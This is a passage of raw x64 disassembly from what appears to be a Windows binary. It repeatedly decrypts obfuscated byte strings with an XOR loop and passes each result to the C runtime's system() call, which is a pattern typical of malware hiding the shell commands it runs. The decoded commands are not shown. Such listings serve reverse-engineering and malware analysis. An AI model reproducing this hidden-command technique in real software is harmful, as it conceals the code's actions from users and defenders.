lea rcx, [rbp + 0x25e0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x25e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2600]
call fcn.140058900
nop
lea rcx, [rbp + 0x2620]
call fcn.140058900
nop
lea rcx, [rbp + 0x2640]
call fcn.140058900
nop
lea rcx, [rbp + 0x2660]
call fcn.140058900
nop
lea rcx, [rbp + 0x2680]
call fcn.140058900
movups xmm0, xmmword [0x1400df090]
movups xmmword [rbp + 0x1990], xmm0
movups xmm1, xmmword [0x1400df0a0]
movups xmmword [rbp + 0x19a0], xmm1
movups xmm0, xmmword [0x1400df0b0]
movups xmmword [rbp + 0x19b0], xmm0
movups xmm1, xmmword [0x1400df0c0]
movups xmmword [rbp + 0x19c0], xmm1
movups xmm0, xmmword [0x1400df0d0]
movups xmmword [rbp + 0x19d0], xmm0
movups xmm1, xmmword [0x1400df0e0]
movups xmmword [rbp + 0x19e0], xmm1
movups xmm0, xmmword [0x1400df0f0]
movups xmmword [rbp + 0x19f0], xmm0
movsd xmm0, qword [0x1400df100]
movsd qword [rbp + 0x1a00], xmm0
movzx eax, word [0x1400df108]
mov word [rbp + 0x1a08], ax
movzx eax, byte [0x1400df10a]
mov byte [rbp + 0x1a0a], al
mov r8d, edi
cmp esi, 2
jl 0x1400412c3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1994]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400411d0
cmp r8d, 0x7b
jge 0x140041303
movsxd rax, r8d
lea r9, [rbp + 0x1990]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x1400412d0
lea rcx, [rbp + 0x1990]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400de680]
movups xmm0, xmmword [0x1400de670]
movups xmmword [rbp + 0x1330], xmm1
movups xmmword [rbp + 0x1320], xmm0
movups xmm1, xmmword [0x1400de6a0]
movups xmm0, xmmword [0x1400de690]
movups xmmword [rbp + 0x1350], xmm1
movups xmmword [rbp + 0x1340], xmm0
movups xmm1, xmmword [0x1400de6c0]
movups xmm0, xmmword [0x1400de6b0]
movups xmmword [rbp + 0x1370], xmm1
movups xmmword [rbp + 0x1360], xmm0
movzx eax, byte [0x1400de6f0]
movups xmm1, xmmword [0x1400de6e0]
movups xmm0, xmmword [str.F5_.58c]
mov byte [rbp + 0x13a0], al
movups xmmword [rbp + 0x1390], xmm1
movups xmmword [rbp + 0x1380], xmm0
mov r8d, edi
cmp esi, 2
jl 0x1400414a9
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1324]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x1400413b0
cmp r8d, 0x81
jge 0x1400414f6
movsxd rax, r8d
lea r9, [rbp + 0x1320]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x1400414c0
lea rcx, [rbp + 0x1320]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [0x140000000]
lea rcx, [rbx + 0xdf5e0]
lea rdx, [rbp + 0x3160]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x90], xmm1
mov eax, dword [rcx + 0xa0]
mov dword [rdx + 0xa0], eax
movzx eax, byte [rcx + 0xa4]
mov byte [rdx + 0xa4], al
mov r8d, edi
cmp esi, 2
jl 0x1400416a9
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x3164]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x1400415b0
cmp r8d, 0xa5
jge 0x1400416f6
movsxd rax, r8d
lea r9, [rbp + 0x3160]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa5
jl 0x1400416c0
lea rcx, [rbp + 0x3160]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xdee60]
lea rcx, [rbp + 0x30b0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
mov eax, dword [rax + 0xa0]
mov dword [rcx + 0xa0], eax
mov r8d, edi
cmp esi, 2
jl 0x140041899
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x30b4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x1400417a0
cmp r8d, 0xa4
jge 0x1400418e6
movsxd rax, r8d
lea r9, [rbp + 0x30b0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa4
jl 0x1400418b0
lea rcx, [rbp + 0x30b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xde0d0]
lea rcx, [rbp + 0x3370]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movzx eax, word [rax + 0xb0]
mov word [rcx + 0xb0], ax
mov r8d, edi
cmp esi, 2
jl 0x140041a99
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x3374]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xb0
jl 0x1400419a0
cmp r8d, 0xb2
jge 0x140041ae6
movsxd rax, r8d
lea r9, [rbp + 0x3370]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb2
jl 0x140041ab0
lea rcx, [rbp + 0x3370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400de2e0]
movups xmm0, xmmword [0x1400de2d0]
movups xmmword [rbp + 0xbd0], xmm1
movups xmmword [rbp + 0xbc0], xmm0
movups xmm1, xmmword [0x1400de300]
movups xmm0, xmmword [0x1400de2f0]
movups xmmword [rbp + 0xbf0], xmm1
movups xmmword [rbp + 0xbe0], xmm0
mov eax, dword [0x1400de350]
movups xmm1, xmmword [0x1400de320]
movups xmm0, xmmword [str.fh_i1n_____wv48374]
mov dword [rbp + 0xc40], eax
movups xmmword [rbp + 0xc10], xmm1
movups xmmword [rbp + 0xc00], xmm0
movzx eax, word [0x1400de354]
movups xmm1, xmmword [0x1400de340]
movups xmm0, xmmword [0x1400de330]
mov word [rbp + 0xc44], ax
movups xmmword [rbp + 0xc30], xmm1
movups xmmword [rbp + 0xc20], xmm0
mov r8d, edi
cmp esi, 2
jl 0x140041c99
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xbc4]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140041ba0
cmp r8d, 0x86
jge 0x140041ce6
movsxd rax, r8d
lea r9, [rbp + 0xbc0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x86
jl 0x140041cb0
lea rcx, [rbp + 0xbc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400de030]
movups xmmword [rbp + 0x13b0], xmm0
movups xmm0, xmmword [0x1400de050]
movups xmmword [rbp + 0x13d0], xmm0
movups xmm0, xmmword [str.2:]
movups xmm1, xmmword [0x1400de040]
movups xmmword [rbp + 0x13f0], xmm0
movups xmmword [rbp + 0x13c0], xmm1
movups xmm0, xmmword [0x1400de090]
movups xmm1, xmmword [0x1400de060]
movups xmmword [rbp + 0x1410], xmm0
movups xmmword [rbp + 0x13e0], xmm1
movups xmm0, xmmword [0x1400de0b0]
movups xmm1, xmmword [0x1400de080]
movups xmmword [rbp + 0x1430], xmm0
movups xmmword [rbp + 0x1400], xmm1
movzx eax, byte [0x1400de0c8]
movsd xmm0, qword [0x1400de0c0]
movups xmm1, xmmword [0x1400de0a0]
mov byte [rbp + 0x1448], al
movsd qword [rbp + 0x1440], xmm0
movups xmmword [rbp + 0x1420], xmm1
mov r8d, edi
cmp esi, 2
jl 0x140041ea9
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x13b4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140041db0
cmp r8d, 0x99
jge 0x140041ef6
movsxd rax, r8d
lea r9, [rbp + 0x13b0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140041ec0
lea rcx, [rbp + 0x13b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400df700]
movups xmmword [rbp + 0x940], xmm0
movups xmm0, xmmword [0x1400df720]
movups xmmword [rbp + 0x960], xmm0
movups xmm0, xmmword [0x1400df740]
movups xmm1, xmmword [0x1400df710]
movups xmmword [rbp + 0x980], xmm0
movups xmmword [rbp + 0x950], xmm1
movups xmm0, xmmword [0x1400df760]
movups xmm1, xmmword [0x1400df730]
movups xmmword [rbp + 0x9a0], xmm0
movups xmmword [rbp + 0x970], xmm1
movzx eax, word [0x1400df798]
movups xmm0, xmmword [0x1400df780]
movups xmm1, xmmword [0x1400df750]
mov word [rbp + 0x9d8], ax
movups xmmword [rbp + 0x9c0], xmm0
movups xmmword [rbp + 0x990], xmm1
movzx eax, byte [0x1400df79a]
movsd xmm0, qword [0x1400df790]
movups xmm1, xmmword [0x1400df770]
mov byte [rbp + 0x9da], al
movsd qword [rbp + 0x9d0], xmm0
movups xmmword [rbp + 0x9b0], xmm1
mov r8d, edi
cmp esi, 2
jl 0x1400420c9
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x944]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140041fd0
cmp r8d, 0x9b
jge 0x140042116
movsxd rax, r8d
lea r9, [rbp + 0x940]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x1400420e0
lea rcx, [rbp + 0x940]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400dfc00]
movups xmmword [rbp + 0x9e0], xmm0
movups xmm0, xmmword [0x1400dfc20]
movups xmmword [rbp + 0xa00], xmm0
movups xmm0, xmmword [0x1400dfc40]
movups xmm1, xmmword [0x1400dfc10]
movups xmmword [rbp + 0xa20], xmm0
movups xmmword [rbp + 0x9f0], xmm1
movups xmm0, xmmword [str._t_nML]
movups xmm1, xmmword [0x1400dfc30]
movups xmmword [rbp + 0xa40], xmm0
movups xmmword [rbp + 0xa10], xmm1
movzx eax, word [0x1400dfc98]
movups xmm0, xmmword [0x1400dfc80]
movups xmm1, xmmword [0x1400dfc50]
mov word [rbp + 0xa78], ax
movups xmmword [rbp + 0xa60], xmm0
movups xmmword [rbp + 0xa30], xmm1
movzx eax, byte [0x1400dfc9a]
movsd xmm0, qword [0x1400dfc90]
movups xmm1, xmmword [0x1400dfc70]
mov byte [rbp + 0xa7a], al
movsd qword [rbp + 0xa70], xmm0
movups xmmword [rbp + 0xa50], xmm1
mov r8d, edi
cmp esi, 2
jl 0x1400422e9
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x9e4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400421f0
cmp r8d, 0x9b
jge 0x140042336
movsxd rax, r8d
lea r9, [rbp + 0x9e0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x140042300
lea rcx, [rbp + 0x9e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400dfd40]
movups xmm0, xmmword [0x1400dfd30]
movups xmmword [rbp + 0x1460], xmm1
movups xmmword [rbp + 0x1450], xmm0
movups xmm1, xmmword [0x1400dfd60]
movups xmm0, xmmword [0x1400dfd50]
movups xmmword [rbp + 0x1480], xmm1
